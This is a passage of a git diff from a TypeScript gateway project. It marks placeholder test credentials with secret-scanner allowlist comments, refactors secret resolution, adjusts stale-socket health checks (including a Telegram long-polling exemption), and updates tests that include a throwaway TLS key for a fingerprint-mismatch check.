if (typeof value !== "string" || value.trim().length === 0) { + throw new Error("gateway.auth.password resolved to an empty or non-string value."); + } + return withGatewayAuthPassword(params.cfg, value.trim()); +} diff --git a/src/gateway/auth-mode-policy.test.ts b/src/gateway/auth-mode-policy.test.ts index 50b62f6bcfb..81907f7e3a2 100644 --- a/src/gateway/auth-mode-policy.test.ts +++ b/src/gateway/auth-mode-policy.test.ts @@ -13,7 +13,7 @@ describe("gateway auth mode policy", () => { auth: { mode: "token", token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, }; @@ -36,7 +36,7 @@ describe("gateway auth mode policy", () => { gateway: { auth: { token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, }; @@ -65,7 +65,7 @@ describe("gateway auth mode policy", () => { gateway: { auth: { token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, }; diff --git a/src/gateway/auth.test.ts b/src/gateway/auth.test.ts index 0dfb232ffaa..b49d4e9a7c5 100644 --- a/src/gateway/auth.test.ts +++ b/src/gateway/auth.test.ts @@ -125,7 +125,7 @@ describe("gateway auth", () => { resolveGatewayAuth({ authConfig: { token: "config-token", - password: "config-password", + password: "config-password", // pragma: allowlist secret }, env: { OPENCLAW_GATEWAY_TOKEN: "env-token", @@ -134,7 +134,7 @@ describe("gateway auth", () => { }), ).toMatchObject({ token: "config-token", - password: "config-password", + password: "config-password", // pragma: allowlist secret }); }); @@ -155,7 +155,7 @@ describe("gateway auth", () => { it("marks mode source as override when runtime mode override is provided", () => { expect( resolveGatewayAuth({ - authConfig: { mode: "password", password: "config-password" }, + authConfig: { mode: "password", password: "config-password" }, // pragma: allowlist secret authOverride: { mode: "token" }, env: {} as NodeJS.ProcessEnv, }), @@ -163,7 +163,7 @@ describe("gateway auth", () => { mode: "token", modeSource: "override", token: undefined, - password: "config-password", + password: "config-password", // pragma: allowlist secret }); }); diff --git a/src/gateway/auth.ts b/src/gateway/auth.ts index cdfd4519f40..5f05e24697f 100644 --- a/src/gateway/auth.ts +++ b/src/gateway/auth.ts @@ -257,7 +257,7 @@ export function resolveGatewayAuth(params: { env, includeLegacyEnv: false, tokenPrecedence: "config-first", - passwordPrecedence: "config-first", + passwordPrecedence: "config-first", // pragma: allowlist secret }); const token = resolvedCredentials.token; const password = resolvedCredentials.password; diff --git a/src/gateway/call.test.ts b/src/gateway/call.test.ts index 7ab4cf7b231..850bf008cbd 100644 --- a/src/gateway/call.test.ts +++ b/src/gateway/call.test.ts @@ -635,7 +635,7 @@ describe("callGateway password resolution", () => { const explicitAuthCases = [ { label: "password", - authKey: "password", + authKey: "password", // pragma: allowlist secret envKey: "OPENCLAW_GATEWAY_PASSWORD", envValue: "from-env", configValue: "from-config", @@ -643,7 +643,7 @@ describe("callGateway password resolution", () => { }, { label: "token", - authKey: "token", + authKey: "token", // pragma: allowlist secret envKey: "OPENCLAW_GATEWAY_TOKEN", envValue: "env-token", configValue: "local-token", @@ -721,7 +721,7 @@ describe("callGateway password resolution", () => { }); it("resolves gateway.auth.password SecretInput refs for gateway calls", async () => { - process.env.LOCAL_REF_PASSWORD = "resolved-local-ref-password"; + process.env.LOCAL_REF_PASSWORD = "resolved-local-ref-password"; // pragma: allowlist secret loadConfig.mockReturnValue({ gateway: { mode: "local", @@ -866,7 +866,7 @@ describe("callGateway password resolution", () => { }); it("resolves gateway.remote.password SecretInput refs when remote password is required", async () => { - process.env.REMOTE_REF_PASSWORD = "resolved-remote-ref-password"; + process.env.REMOTE_REF_PASSWORD = "resolved-remote-ref-password"; // pragma: allowlist secret loadConfig.mockReturnValue({ gateway: { mode: "remote", @@ -898,7 +898,7 @@ describe("callGateway password resolution", () => { remote: { url: "wss://remote.example:18789", token: { source: "env", provider: "default", id: "MISSING_REMOTE_TOKEN" }, - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }, }, secrets: { diff --git a/src/gateway/call.ts b/src/gateway/call.ts index ba1e079e455..5d036a0d32a 100644 --- a/src/gateway/call.ts +++ b/src/gateway/call.ts @@ -9,8 +9,7 @@ import { import { hasConfiguredSecretInput, resolveSecretInputRef } from "../config/types.secrets.js"; import { loadOrCreateDeviceIdentity } from "../infra/device-identity.js"; import { loadGatewayTlsRuntime } from "../infra/tls/gateway.js"; -import { secretRefKey } from "../secrets/ref-contract.js"; -import { resolveSecretRefValues } from "../secrets/resolve.js"; +import { resolveSecretInputString } from "../secrets/resolve-secret-input-string.js"; import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES, @@ -312,23 +311,16 @@ async function resolveGatewaySecretInputString(params: { path: string; env: NodeJS.ProcessEnv; }): Promise { - const defaults = params.config.secrets?.defaults; - const { ref } = resolveSecretInputRef({ - value: params.value, - defaults, - }); - if (!ref) { - return trimToUndefined(params.value); - } - const resolved = await resolveSecretRefValues([ref], { + const value = await resolveSecretInputString({ config: params.config, + value: params.value, env: params.env, + normalize: trimToUndefined, }); - const resolvedValue = trimToUndefined(resolved.get(secretRefKey(ref))); - if (!resolvedValue) { + if (!value) { throw new Error(`${params.path} resolved to an empty or non-string value.`); } - return resolvedValue; + return value; } async function resolveGatewayCredentials(context: ResolvedGatewayCallContext): Promise<{ @@ -358,7 +350,7 @@ async function resolveGatewayCredentialsWithEnv( explicitAuth: context.explicitAuth, urlOverride: context.urlOverride, urlOverrideSource: context.urlOverrideSource, - remotePasswordPrecedence: "env-first", + remotePasswordPrecedence: "env-first", // pragma: allowlist secret }); } @@ -487,7 +479,7 @@ async function resolveGatewayCredentialsWithEnv( explicitAuth: context.explicitAuth, urlOverride: context.urlOverride, urlOverrideSource: context.urlOverrideSource, - remotePasswordPrecedence: "env-first", + remotePasswordPrecedence: "env-first", // pragma: allowlist secret }); } diff --git a/src/gateway/channel-health-monitor.test.ts b/src/gateway/channel-health-monitor.test.ts index 3657dcb2c1e..6f7c8104874 100644 --- a/src/gateway/channel-health-monitor.test.ts +++ b/src/gateway/channel-health-monitor.test.ts @@ -489,16 +489,34 @@ describe("channel-health-monitor", () => { await expectNoRestart(manager); }); - it("restarts a channel that never received any event past the stale threshold", async () => { + it("restarts a channel that has seen no events since connect past the stale threshold", async () => { const now = Date.now(); const manager = createSlackSnapshotManager( runningConnectedSlackAccount({ lastStartAt: now - STALE_THRESHOLD - 60_000, + lastEventAt: now - STALE_THRESHOLD - 60_000, }), ); await expectRestartedChannel(manager, "slack"); }); + it("skips connected channels that do not report event liveness", async () => { + const now = Date.now(); + const manager = createSnapshotManager({ + telegram: { + default: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: now - STALE_THRESHOLD - 60_000, + lastEventAt: null, + }, + }, + }); + await expectNoRestart(manager); + }); + it("respects custom staleEventThresholdMs", async () => { const customThreshold = 10 * 60_000; const now = Date.now(); diff --git a/src/gateway/channel-health-monitor.ts b/src/gateway/channel-health-monitor.ts index e66bc4912af..fb8715a12f1 100644 --- a/src/gateway/channel-health-monitor.ts +++ b/src/gateway/channel-health-monitor.ts @@ -1,6 +1,8 @@ import type { ChannelId } from "../channels/plugins/types.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { + DEFAULT_CHANNEL_CONNECT_GRACE_MS, + DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, evaluateChannelHealth, resolveChannelRestartReason, type ChannelHealthPolicy, @@ -21,9 +23,6 @@ const ONE_HOUR_MS = 60 * 60_000; * This catches the half-dead WebSocket scenario where the connection appears * alive (health checks pass) but Slack silently stops delivering events. */ -const DEFAULT_STALE_EVENT_THRESHOLD_MS = 30 * 60_000; -const DEFAULT_CHANNEL_CONNECT_GRACE_MS = 120_000; - export type ChannelHealthTimingPolicy = { monitorStartupGraceMs: number; channelConnectGraceMs: number; @@ -70,7 +69,7 @@ function resolveTimingPolicy( staleEventThresholdMs: deps.timing?.staleEventThresholdMs ?? deps.staleEventThresholdMs ?? - DEFAULT_STALE_EVENT_THRESHOLD_MS, + DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, }; } @@ -123,6 +122,7 @@ export function startChannelHealthMonitor(deps: ChannelHealthMonitorDeps): Chann continue; } const healthPolicy: ChannelHealthPolicy = { + channelId, now, staleEventThresholdMs: timing.staleEventThresholdMs, channelConnectGraceMs: timing.channelConnectGraceMs, diff --git a/src/gateway/channel-health-policy.test.ts b/src/gateway/channel-health-policy.test.ts index 71b8f7ce896..1509bccc4ba 100644 --- a/src/gateway/channel-health-policy.test.ts +++ b/src/gateway/channel-health-policy.test.ts @@ -10,6 +10,7 @@ describe("evaluateChannelHealth", () => { configured: true, }, { + channelId: "discord", now: 100_000, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -28,6 +29,7 @@ describe("evaluateChannelHealth", () => { lastStartAt: 95_000, }, { + channelId: "discord", now: 100_000, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -48,6 +50,7 @@ describe("evaluateChannelHealth", () => { lastRunActivityAt: now - 30_000, }, { + channelId: "discord", now, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -68,6 +71,7 @@ describe("evaluateChannelHealth", () => { lastRunActivityAt: now - 26 * 60_000, }, { + channelId: "discord", now, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -90,6 +94,7 @@ describe("evaluateChannelHealth", () => { lastRunActivityAt: now - 31_000, }, { + channelId: "discord", now, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -99,6 +104,26 @@ describe("evaluateChannelHealth", () => { }); it("flags stale sockets when no events arrive beyond threshold", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: 0, + lastEventAt: 0, + }, + { + channelId: "discord", + now: 100_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: false, reason: "stale-socket" }); + }); + + it("skips stale-socket detection for telegram long-polling channels", () => { const evaluation = evaluateChannelHealth( { running: true, @@ -109,11 +134,91 @@ describe("evaluateChannelHealth", () => { lastEventAt: null, }, { + channelId: "telegram", now: 100_000, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, }, ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); + + it("does not flag stale sockets for channels without event tracking", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: 0, + lastEventAt: null, + }, + { + channelId: "discord", + now: 100_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); + + it("does not flag stale sockets without an active connected socket", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + enabled: true, + configured: true, + lastStartAt: 0, + lastEventAt: 0, + }, + { + channelId: "slack", + now: 75_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); + + it("ignores inherited event timestamps from a previous lifecycle", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: 50_000, + lastEventAt: 10_000, + }, + { + channelId: "slack", + now: 75_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); + + it("flags inherited event timestamps after the lifecycle exceeds the stale threshold", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: 50_000, + lastEventAt: 10_000, + }, + { + channelId: "slack", + now: 140_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); expect(evaluation).toEqual({ healthy: false, reason: "stale-socket" }); }); }); diff --git a/src/gateway/channel-health-policy.ts b/src/gateway/channel-health-policy.ts index 31938a90471..b3bc74bfc4d 100644 --- a/src/gateway/channel-health-policy.ts +++ b/src/gateway/channel-health-policy.ts @@ -1,8 +1,11 @@ +import type { ChannelId } from "../channels/plugins/types.js"; + export type ChannelHealthSnapshot = { running?: boolean; connected?: boolean; enabled?: boolean; configured?: boolean; + restartPending?: boolean; busy?: boolean; activeRuns?: number; lastRunActivityAt?: number | null; @@ -27,6 +30,7 @@ export type ChannelHealthEvaluation = { }; export type ChannelHealthPolicy = { + channelId: ChannelId; now: number; staleEventThresholdMs: number; channelConnectGraceMs: number; @@ -39,6 +43,10 @@ function isManagedAccount(snapshot: ChannelHealthSnapshot): boolean { } const BUSY_ACTIVITY_STALE_THRESHOLD_MS = 25 * 60_000; +// Keep these shared between the background health monitor and on-demand readiness +// probes so both surfaces evaluate channel lifecycle windows consistently. +export const DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS = 30 * 60_000; +export const DEFAULT_CHANNEL_CONNECT_GRACE_MS = 120_000; export function evaluateChannelHealth( snapshot: ChannelHealthSnapshot, @@ -92,15 +100,24 @@ export function evaluateChannelHealth( if (snapshot.connected === false) { return { healthy: false, reason: "disconnected" }; } - if (snapshot.lastEventAt != null || snapshot.lastStartAt != null) { - const upSince = snapshot.lastStartAt ?? 0; - const upDuration = policy.now - upSince; - if (upDuration > policy.staleEventThresholdMs) { - const lastEvent = snapshot.lastEventAt ?? 0; - const eventAge = policy.now - lastEvent; - if (eventAge > policy.staleEventThresholdMs) { - return { healthy: false, reason: "stale-socket" }; + // Skip stale-socket check for Telegram (long-polling mode). Each polling request + // acts as a heartbeat, so the half-dead WebSocket scenario this check is designed + // to catch does not apply to Telegram's long-polling architecture. + if ( + policy.channelId !== "telegram" && + snapshot.connected === true && + snapshot.lastEventAt != null + ) { + if (lastStartAt != null && snapshot.lastEventAt < lastStartAt) { + const lifecycleEventGap = Math.max(0, policy.now - lastStartAt); + if (lifecycleEventGap <= policy.staleEventThresholdMs) { + return { healthy: true, reason: "healthy" }; } + return { healthy: false, reason: "stale-socket" }; + } + const eventAge = policy.now - snapshot.lastEventAt; + if (eventAge > policy.staleEventThresholdMs) { + return { healthy: false, reason: "stale-socket" }; } } return { healthy: true, reason: "healthy" }; diff --git a/src/gateway/channel-status-patches.test.ts b/src/gateway/channel-status-patches.test.ts new file mode 100644 index 00000000000..9297c23e69d --- /dev/null +++ b/src/gateway/channel-status-patches.test.ts @@ -0,0 +1,12 @@ +import { describe, expect, it } from "vitest"; +import { createConnectedChannelStatusPatch } from "./channel-status-patches.js"; + +describe("createConnectedChannelStatusPatch", () => { + it("uses one timestamp for connected event-liveness state", () => { + expect(createConnectedChannelStatusPatch(1234)).toEqual({ + connected: true, + lastConnectedAt: 1234, + lastEventAt: 1234, + }); + }); +}); diff --git a/src/gateway/channel-status-patches.ts b/src/gateway/channel-status-patches.ts new file mode 100644 index 00000000000..9e1af6a33d7 --- /dev/null +++ b/src/gateway/channel-status-patches.ts @@ -0,0 +1,15 @@ +export type ConnectedChannelStatusPatch = { + connected: true; + lastConnectedAt: number; + lastEventAt: number; +}; + +export function createConnectedChannelStatusPatch( + at: number = Date.now(), +): ConnectedChannelStatusPatch { + return { + connected: true, + lastConnectedAt: at, + lastEventAt: at, + }; +} diff --git a/src/gateway/client.test.ts b/src/gateway/client.test.ts index c69cbef39ee..0d2346efb85 100644 --- a/src/gateway/client.test.ts +++ b/src/gateway/client.test.ts @@ -123,7 +123,7 @@ function createClientWithIdentity( ) { const identity: DeviceIdentity = { deviceId, - privateKeyPem: "private-key", + privateKeyPem: "private-key", // pragma: allowlist secret publicKeyPem: "public-key", }; return new GatewayClient({ @@ -329,7 +329,7 @@ describe("GatewayClient close handling", () => { const onClose = vi.fn(); const identity: DeviceIdentity = { deviceId: "dev-5", - privateKeyPem: "private-key", + privateKeyPem: "private-key", // pragma: allowlist secret publicKeyPem: "public-key", }; const client = new GatewayClient({ diff --git a/src/gateway/client.watchdog.test.ts b/src/gateway/client.watchdog.test.ts index db54f31796c..f723c3fdcb5 100644 --- a/src/gateway/client.watchdog.test.ts +++ b/src/gateway/client.watchdog.test.ts @@ -86,34 +86,36 @@ describe("GatewayClient", () => { }, 4000); test("rejects mismatched tls fingerprint", async () => { - const key = `-----BEGIN PRIVATE KEY----- -MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDrur5CWp4psMMb -DTPY1aN46HPDxRchGgh8XedNkrlc4z1KFiyLUsXpVIhuyoXq1fflpTDz7++pGEDJ -Q5pEdChn3fuWgi7gC+pvd5VQ1eAX/7qVE72fhx14NxhaiZU3hCzXjG2SflTEEExk -UkQTm0rdHSjgLVMhTM3Pqm6Kzfdgtm9ZyXwlAsorE/pvgbUxG3Q4xKNBGzbirZ+1 -EzPDwsjf3fitNtakZJkymu6Kg5lsUihQVXOP0U7f989FmevoTMvJmkvJzsoTRd7s -XNSOjzOwJr8da8C4HkXi21md1yEccyW0iSh7tWvDrpWDAgW6RMuMHC0tW4bkpDGr -FpbQOgzVAgMBAAECggEAIMhwf8Ve9CDVTWyNXpU9fgnj2aDOCeg3MGaVzaO/XCPt -KOHDEaAyDnRXYgMP0zwtFNafo3klnSBWmDbq3CTEXseQHtsdfkKh+J0KmrqXxval -YeikKSyvBEIzRJoYMqeS3eo1bddcXgT/Pr9zIL/qzivpPJ4JDttBzyTeaTbiNaR9 -KphGNueo+MTQMLreMqw5VAyJ44gy7Z/2TMiMEc/d95wfubcOSsrIfpOKnMvWd/rl -vxIS33s95L7CjREkixskj5Yo5Wpt3Yf5b0Zi70YiEsCfAZUDrPW7YzMlylzmhMzm -MARZKfN1Tmo74SGpxUrBury+iPwf1sYcRnsHR+zO8QKBgQD6ISQHRzPboZ3J/60+ -fRLETtrBa9WkvaH9c+woF7l47D4DIlvlv9D3N1KGkUmhMnp2jNKLIlalBNDxBdB+ -iwZP1kikGz4629Ch3/KF/VYscLTlAQNPE42jOo7Hj7VrdQx9zQrK9ZBLteXmSvOh -bB3aXwXPF3HoTMt9gQ9thhXZJQKBgQDxQxUnQSw43dRlqYOHzPUEwnJkGkuW/qxn -aRc8eopP5zUaebiDFmqhY36x2Wd+HnXrzufy2o4jkXkWTau8Ns+OLhnIG3PIU9L/ -LYzJMckGb75QYiK1YKMUUSQzlNCS8+TFVCTAvG2u2zCCk7oTIe8aT516BQNjWDjK -gWo2f87N8QKBgHoVANO4kfwJxszXyMPuIeHEpwquyijNEap2EPaEldcKXz4CYB4j -4Cc5TkM12F0gGRuRohWcnfOPBTgOYXPSATOoX+4RCe+KaCsJ9gIl4xBvtirrsqS+ -42ue4h9O6fpXt9AS6sii0FnTnzEmtgC8l1mE9X3dcJA0I0HPYytOvY0tAoGAAYJj -7Xzw4+IvY/ttgTn9BmyY/ptTgbxSI8t6g7xYhStzH5lHWDqZrCzNLBuqFBXosvL2 -bISFgx9z3Hnb6y+EmOUc8C2LyeMMXOBSEygmk827KRGUGgJiwsvHKDN0Ipc4BSwD -ltkW7pMceJSoA1qg/k8lMxA49zQkFtA8c97U0mECgYEAk2DDN78sRQI8RpSECJWy -l1O1ikVUAYVeh5HdZkpt++ddfpo695Op9OeD2Eq27Y5EVj8Xl58GFxNk0egLUnYq -YzSbjcNkR2SbVvuLaV1zlQKm6M5rfvhj4//YrzrrPUQda7Q4eR0as/3q91uzAO2O -++pfnSCVCyp/TxSkhEDEawU= ------END PRIVATE KEY-----`; + const key = [ + "-----BEGIN PRIVATE KEY-----", // pragma: allowlist secret + "MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDrur5CWp4psMMb", + "DTPY1aN46HPDxRchGgh8XedNkrlc4z1KFiyLUsXpVIhuyoXq1fflpTDz7++pGEDJ", + "Q5pEdChn3fuWgi7gC+pvd5VQ1eAX/7qVE72fhx14NxhaiZU3hCzXjG2SflTEEExk", + "UkQTm0rdHSjgLVMhTM3Pqm6Kzfdgtm9ZyXwlAsorE/pvgbUxG3Q4xKNBGzbirZ+1", + "EzPDwsjf3fitNtakZJkymu6Kg5lsUihQVXOP0U7f989FmevoTMvJmkvJzsoTRd7s", + "XNSOjzOwJr8da8C4HkXi21md1yEccyW0iSh7tWvDrpWDAgW6RMuMHC0tW4bkpDGr", + "FpbQOgzVAgMBAAECggEAIMhwf8Ve9CDVTWyNXpU9fgnj2aDOCeg3MGaVzaO/XCPt", + "KOHDEaAyDnRXYgMP0zwtFNafo3klnSBWmDbq3CTEXseQHtsdfkKh+J0KmrqXxval", + "YeikKSyvBEIzRJoYMqeS3eo1bddcXgT/Pr9zIL/qzivpPJ4JDttBzyTeaTbiNaR9", + "KphGNueo+MTQMLreMqw5VAyJ44gy7Z/2TMiMEc/d95wfubcOSsrIfpOKnMvWd/rl", + "vxIS33s95L7CjREkixskj5Yo5Wpt3Yf5b0Zi70YiEsCfAZUDrPW7YzMlylzmhMzm", + "MARZKfN1Tmo74SGpxUrBury+iPwf1sYcRnsHR+zO8QKBgQD6ISQHRzPboZ3J/60+", + "fRLETtrBa9WkvaH9c+woF7l47D4DIlvlv9D3N1KGkUmhMnp2jNKLIlalBNDxBdB+", + "iwZP1kikGz4629Ch3/KF/VYscLTlAQNPE42jOo7Hj7VrdQx9zQrK9ZBLteXmSvOh", + "bB3aXwXPF3HoTMt9gQ9thhXZJQKBgQDxQxUnQSw43dRlqYOHzPUEwnJkGkuW/qxn", + "aRc8eopP5zUaebiDFmqhY36x2Wd+HnXrzufy2o4jkXkWTau8Ns+OLhnIG3PIU9L/", + "LYzJMckGb75QYiK1YKMUUSQzlNCS8+TFVCTAvG2u2zCCk7oTIe8aT516BQNjWDjK", + "gWo2f87N8QKBgHoVANO4kfwJxszXyMPuIeHEpwquyijNEap2EPaEldcKXz4CYB4j", + "4Cc5TkM12F0gGRuRohWcnfOPBTgOYXPSATOoX+4RCe+KaCsJ9gIl4xBvtirrsqS+", + "42ue4h9O6fpXt9AS6sii0FnTnzEmtgC8l1mE9X3dcJA0I0HPYytOvY0tAoGAAYJj", + "7Xzw4+IvY/ttgTn9BmyY/ptTgbxSI8t6g7xYhStzH5lHWDqZrCzNLBuqFBXosvL2", + "bISFgx9z3Hnb6y+EmOUc8C2LyeMMXOBSEygmk827KRGUGgJiwsvHKDN0Ipc4BSwD", + "ltkW7pMceJSoA1qg/k8lMxA49zQkFtA8c97U0mECgYEAk2DDN78sRQI8RpSECJWy", + "l1O1ikVUAYVeh5HdZkpt++ddfpo695Op9OeD2Eq27Y5EVj8Xl58GFxNk0egLUnYq", + "YzSbjcNkR2SbVvuLaV1zlQKm6M5rfvhj4//YrzrrPUQda7Q4eR0as/3q91uzAO2O", + "++pfnSCVCyp/TxSkhEDEawU=", + "-----END PRIVATE KEY-----", + ].join("\n"); const cert = `-----BEGIN CERTIFICATE----- MIIDCTCCAfGgAwIBAgIUel0Lv05cjrViyI/H3tABBJxM7NgwDQYJKoZIhvcNAQEL BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTI2MDEyMDEyMjEzMloXDTI2MDEy diff --git a/src/gateway/config-reload.ts b/src/gateway/config-reload.ts index 38fe786a667..3887548e51b 100644 --- a/src/gateway/config-reload.ts +++ b/src/gateway/config-reload.ts @@ -6,7 +6,7 @@ import { isPlainObject } from "../utils.js"; import { buildGatewayReloadPlan, type GatewayReloadPlan } from "./config-reload-plan.js"; export { buildGatewayReloadPlan }; -export type { GatewayReloadPlan } from "./config-reload-plan.js"; +export type { ChannelKind, GatewayReloadPlan } from "./config-reload-plan.js"; export type GatewayReloadSettings = { mode: GatewayReloadMode; diff --git a/src/gateway/control-ui-routing.ts b/src/gateway/control-ui-routing.ts index 77bc9f24a0d..f4c24ddf7f5 100644 --- a/src/gateway/control-ui-routing.ts +++ b/src/gateway/control-ui-routing.ts @@ -6,6 +6,8 @@ export type ControlUiRequestClassification = | { kind: "redirect"; location: string } | { kind: "serve" }; +const ROOT_MOUNTED_GATEWAY_PROBE_PATHS = new Set(["/health", "/healthz", "/ready", "/readyz"]); + export function classifyControlUiRequest(params: { basePath: string; pathname: string; @@ -17,6 +19,11 @@ export function classifyControlUiRequest(params: { if (pathname === "/ui" || pathname.startsWith("/ui/")) { return { kind: "not-found" }; } + // Keep core probe routes outside the root-mounted SPA catch-all so the + // gateway probe handler can answer them even when the Control UI owns `/`. + if (ROOT_MOUNTED_GATEWAY_PROBE_PATHS.has(pathname)) { + return { kind: "not-control-ui" }; + } // Keep plugin-owned HTTP routes outside the root-mounted Control UI SPA // fallback so untrusted plugins cannot claim arbitrary UI paths. if (pathname === "/plugins" || pathname.startsWith("/plugins/")) { diff --git a/src/gateway/credential-precedence.parity.test.ts b/src/gateway/credential-precedence.parity.test.ts index 99a893fcb83..ee85de49b8b 100644 --- a/src/gateway/credential-precedence.parity.test.ts +++ b/src/gateway/credential-precedence.parity.test.ts @@ -20,8 +20,8 @@ type TestCase = { }; const gatewayEnv = { - OPENCLAW_GATEWAY_TOKEN: "env-token", - OPENCLAW_GATEWAY_PASSWORD: "env-password", + OPENCLAW_GATEWAY_TOKEN: "env-token", // pragma: allowlist secret + OPENCLAW_GATEWAY_PASSWORD: "env-password", // pragma: allowlist secret } as NodeJS.ProcessEnv; function makeRemoteGatewayConfig(remote: { token?: string; password?: string }): OpenClawConfig { @@ -31,7 +31,7 @@ function makeRemoteGatewayConfig(remote: { token?: string; password?: string }): remote, auth: { token: "local-token", - password: "local-password", + password: "local-password", // pragma: allowlist secret }, }, } as OpenClawConfig; @@ -77,46 +77,46 @@ describe("gateway credential precedence parity", () => { mode: "local", auth: { token: "config-token", - password: "config-password", + password: "config-password", // pragma: allowlist secret }, }, } as OpenClawConfig, env: { - OPENCLAW_GATEWAY_TOKEN: "env-token", - OPENCLAW_GATEWAY_PASSWORD: "env-password", + OPENCLAW_GATEWAY_TOKEN: "env-token", // pragma: allowlist secret + OPENCLAW_GATEWAY_PASSWORD: "env-password", // pragma: allowlist secret } as NodeJS.ProcessEnv, expected: { - call: { token: "env-token", password: "env-password" }, - probe: { token: "env-token", password: "env-password" }, - status: { token: "env-token", password: "env-password" }, - auth: { token: "config-token", password: "config-password" }, + call: { token: "env-token", password: "env-password" }, // pragma: allowlist secret + probe: { token: "env-token", password: "env-password" }, // pragma: allowlist secret + status: { token: "env-token", password: "env-password" }, // pragma: allowlist secret + auth: { token: "config-token", password: "config-password" }, // pragma: allowlist secret }, }, { name: "remote mode with remote token configured", cfg: makeRemoteGatewayConfig({ token: "remote-token", - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }), env: gatewayEnv, expected: { - call: { token: "remote-token", password: "env-password" }, - probe: { token: "remote-token", password: "env-password" }, - status: { token: "remote-token", password: "env-password" }, - auth: { token: "local-token", password: "local-password" }, + call: { token: "remote-token", password: "env-password" }, // pragma: allowlist secret + probe: { token: "remote-token", password: "env-password" }, // pragma: allowlist secret + status: { token: "remote-token", password: "env-password" }, // pragma: allowlist secret + auth: { token: "local-token", password: "local-password" }, // pragma: allowlist secret }, }, { name: "remote mode without remote token keeps remote probe/status strict", cfg: makeRemoteGatewayConfig({ - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }), env: gatewayEnv, expected: { - call: { token: "env-token", password: "env-password" }, - probe: { token: undefined, password: "env-password" }, - status: { token: undefined, password: "env-password" }, - auth: { token: "local-token", password: "local-password" }, + call: { token: "env-token", password: "env-password" }, // pragma: allowlist secret + probe: { token: undefined, password: "env-password" }, // pragma: allowlist secret + status: { token: undefined, password: "env-password" }, // pragma: allowlist secret + auth: { token: "local-token", password: "local-password" }, // pragma: allowlist secret }, }, { @@ -128,11 +128,11 @@ describe("gateway credential precedence parity", () => { }, } as OpenClawConfig, env: { - CLAWDBOT_GATEWAY_TOKEN: "legacy-token", - CLAWDBOT_GATEWAY_PASSWORD: "legacy-password", + CLAWDBOT_GATEWAY_TOKEN: "legacy-token", // pragma: allowlist secret + CLAWDBOT_GATEWAY_PASSWORD: "legacy-password", // pragma: allowlist secret } as NodeJS.ProcessEnv, expected: { - call: { token: "legacy-token", password: "legacy-password" }, + call: { token: "legacy-token", password: "legacy-password" }, // pragma: allowlist secret probe: { token: undefined, password: undefined }, status: { token: undefined, password: undefined }, auth: { token: undefined, password: undefined }, diff --git a/src/gateway/credentials.test.ts b/src/gateway/credentials.test.ts index 67e2b4dac09..d9b3fa26783 100644 --- a/src/gateway/credentials.test.ts +++ b/src/gateway/credentials.test.ts @@ -12,11 +12,11 @@ function cfg(input: Partial): OpenClawConfig { type ResolveFromConfigInput = Parameters[0]; type GatewayConfig = NonNullable; -const DEFAULT_GATEWAY_AUTH = { token: "config-token", password: "config-password" }; -const DEFAULT_REMOTE_AUTH = { token: "remote-token", password: "remote-password" }; +const DEFAULT_GATEWAY_AUTH = { token: "config-token", password: "config-password" }; // pragma: allowlist secret +const DEFAULT_REMOTE_AUTH = { token: "remote-token", password: "remote-password" }; // pragma: allowlist secret const DEFAULT_GATEWAY_ENV = { OPENCLAW_GATEWAY_TOKEN: "env-token", - OPENCLAW_GATEWAY_PASSWORD: "env-password", + OPENCLAW_GATEWAY_PASSWORD: "env-password", // pragma: allowlist secret } as NodeJS.ProcessEnv; function resolveGatewayCredentialsFor( @@ -33,7 +33,7 @@ function resolveGatewayCredentialsFor( function expectEnvGatewayCredentials(resolved: { token?: string; password?: string }) { expect(resolved).toEqual({ token: "env-token", - password: "env-password", + password: "env-password", // pragma: allowlist secret }); } @@ -50,6 +50,27 @@ function resolveRemoteModeWithRemoteCredentials( ); } +function resolveLocalModeWithUnresolvedPassword(mode: "none" | "trusted-proxy") { + return resolveGatewayCredentialsFromConfig({ + cfg: { + gateway: { + mode: "local", + auth: { + mode, + password: { source: "env", provider: "default", id: "MISSING_GATEWAY_PASSWORD" }, + }, + }, + secrets: { + providers: { + default: { source: "env" }, + }, + }, + } as unknown as OpenClawConfig, + 